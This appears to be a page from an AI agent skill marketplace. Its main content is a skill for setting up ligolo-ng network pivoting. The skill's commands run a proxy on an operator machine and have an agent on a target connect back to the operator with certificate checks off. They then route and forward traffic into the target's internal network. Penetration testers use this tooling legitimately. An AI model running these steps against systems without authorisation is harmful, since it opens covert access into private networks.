菜单
Set up ligolo-ng for network pivoting. Use when establishing a TUN-based tunnel from an operator machine through a target/agent to reach an internal network.
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Configure Envoy proxy for HTTP reverse proxying, TCP forwarding, TLS termination, gRPC proxying, or traffic management. Use when creating or editing Envoy bootstrap YAML configs.
Configure frp (Fast Reverse Proxy) to expose services behind NAT or firewalls. Use when setting up frps (server) and frpc (client) configs for TCP, UDP, HTTP, HTTPS, or SOCKS5 tunnelling.
Configure go-gost (Go Simple Tunnel) proxy. Use when setting up SOCKS5/HTTP proxies, port forwarding, proxy chaining, SSH tunnels, TLS-encrypted proxies, or DNS-over-TLS with go-gost v3.
Configure HAProxy for TCP or HTTP load balancing, SSL/TLS termination, and ACL-based routing. Use when creating or editing haproxy.cfg files for frontends, backends, and listen sections.
Configure nginx as a reverse proxy, load balancer, stream (TCP/UDP) proxy, SSL termination frontend, or HTTP forward proxy. Use when working with nginx.conf or nginx stream module configs.
Configure Proxyman for HTTP/HTTPS traffic interception on macOS/iOS. Use when writing Proxyman addon scripts to rewrite headers, mock responses, block requests, or map URLs to local fixtures.
| name | setup-ligolo-ng |
| description | Set up ligolo-ng for network pivoting. Use when establishing a TUN-based tunnel from an operator machine through a target/agent to reach an internal network. |
| license | Apache-2.0 |
| compatibility | Requires Linux with TUN/TAP support (operator), ligolo-ng proxy and agent binaries. Download from https://github.com/nicocha30/ligolo-ng/releases |
| metadata | {"author":"proxy-tools","version":"1.0"} |
| allowed-tools | bash |
ligolo-ng creates a TUN interface on the operator machine. Traffic routed to that interface is forwarded through the TLS-encrypted session to the agent, and then out into the target internal network.
# 1. Create the TUN interface
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
# 2. Start the proxy (listens for agent connections)
./proxy -selfcert -laddr 0.0.0.0:11601
# On the target machine — connect back to the operator
./agent -connect <OPERATOR_IP>:11601 -ignore-cert
# Windows
.\agent.exe -connect <OPERATOR_IP>:11601 -ignore-cert
In the ligolo-ng proxy interactive shell:
ligolo-ng » session # list and select the agent session
ligolo-ng » start # start the tunnel
# Back on the OS, add a route for the internal subnet
sudo ip route add 192.168.1.0/24 dev ligolo
Expose a port on the operator side that tunnels to an internal service:
ligolo-ng » listener_add --addr 0.0.0.0:8080 --to 192.168.1.100:80 --tcp
ligolo-ng » listener_list # show active listeners
See ligolo-ng/examples/multi-pivot.md for chaining two ligolo-ng tunnels across two pivot hosts.
ligolo-ng/examples/proxy-setup.md — detailed operator-side stepsligolo-ng/examples/agent-setup.md — agent deployment (Linux + Windows + systemd)ligolo-ng/examples/port-redirect.md — listener/port-redirect patternsligolo-ng/examples/multi-pivot.md — multi-hop chainingligolo-ng/